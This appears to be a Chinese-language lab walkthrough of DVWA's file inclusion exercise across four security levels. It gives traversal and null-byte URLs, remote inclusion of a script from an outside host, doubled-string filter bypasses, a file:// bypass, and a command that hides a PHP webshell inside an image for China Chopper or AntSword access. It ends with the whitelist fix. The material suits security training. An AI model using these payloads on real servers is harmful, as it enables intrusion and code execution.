// The page we wish to display
$file = $_GET[ 'page' ];
?>
从Low级别的代码我们可以看出,服务端对上传的的page参数没有任何过滤
注:服务器包含文件时,不管文件后缀是否是php,都会尝试当作php文件执行,如果文件内容确为php,则会正常执行并返回结果;如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行
条件:开启allow_url_include
首先我们尝试包含本地一个不存在的文件
出现上图所示报错,从第一行警告我们可以看出它使用的是include函数,也直接爆出了含有include函数文件的位置
从第二行我们可以看出没有找到指定文件
我们也可以尝试使用../
来进行目录穿越(../
表示返回上一层目录)
已知test.php的绝对路径在F:\xampp\htdocs\dvwa\vulnerabilities\filetest\test.php
我们当前在http://127.0.0.1:8008/dvwa/vulnerabilities/fi/
下,由下图文件具体位置可以看出,一个../
就i返回到了有filetest目录的目录
注:配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的
这种情况多用于必须要文件后缀是php,jpg,jpeg,png等,只是为了上传时表示存在,真正解析时直接截断
http://127.0.0.1/dvwa/vulnerabilities/fi/page=../../../../../xampp/htdocs/dvwa/php.ini
http://127.0.0.1/dvwa/vulnerabilities/fi/page=../../../../../xampp/htdocs/dvwa/php.ini%00test.php
由于本次实验时7.3.4版本,无法演示
条件:php.ini配置中,allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件
发现利用成功,如果此时这是一句话木马,我们就可以用菜刀或者蚁剑进行连接,获得webshell了
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
Medium级别的代码增加了str_replace函数,对page参数进行了处理,将http:// 、https://、 ../、..\
替换为空字符,即删除
例如page=htthttp://p://192.168.13.130/hello.php
时,str_replace函数只会删除一个http://
,于是page=http://192.168.13.130/hello.php
,成功执行远程命令
同时,因为替换的只是../
、..\
,所以对采用绝对路径(就是不使用…/)的方式包含文件是不会受到任何限制的
但是我们如果非要用…/呢?那么我们就可以双写绕过
例如使用http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=..././filetest/test.php
,这样str_replace只删除了一个../
但是http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=../../filetest/test.php
却不能执行,因为它直接检测到了两个../
,所以利用双写绕过,不要单独连起来,要嵌套起来
%68%74%74%70%3a%2f%2f192.168.13.130%2fhello.php
尝试url编码进行包含page=http://192.168.13.130/hello.php
,因此读取失败
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
pattern 必需 规定要检索的模式
string 必需 规定要检查的字符串或文件
flags 可选
High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。看似安全,但是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,file://F:/xampp/htdocs/dvwa/vulnerabilities/filetest/test.php,如下图:
如果是php文件,则不会解析而是显示其php代码,在html页面或源代码中
至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的php文件或jpg照片,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行,谨记,php的file://协议只能打开本地文件
图片插入一句话木马(b为二进制,a为ascii码)
copy xx.jpg/b +xx.php/a xxx.jpg,之后利用菜刀或蚁剑连接,连接时还需要先浏览网站,登陆账号,完成Session认证
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
Impossible级别代码使用了白名单机制进行防护,page参数必须为include.php
、file1.php
、file2.php
、file3.php
之一,因此彻底消除了文件包含漏洞的产生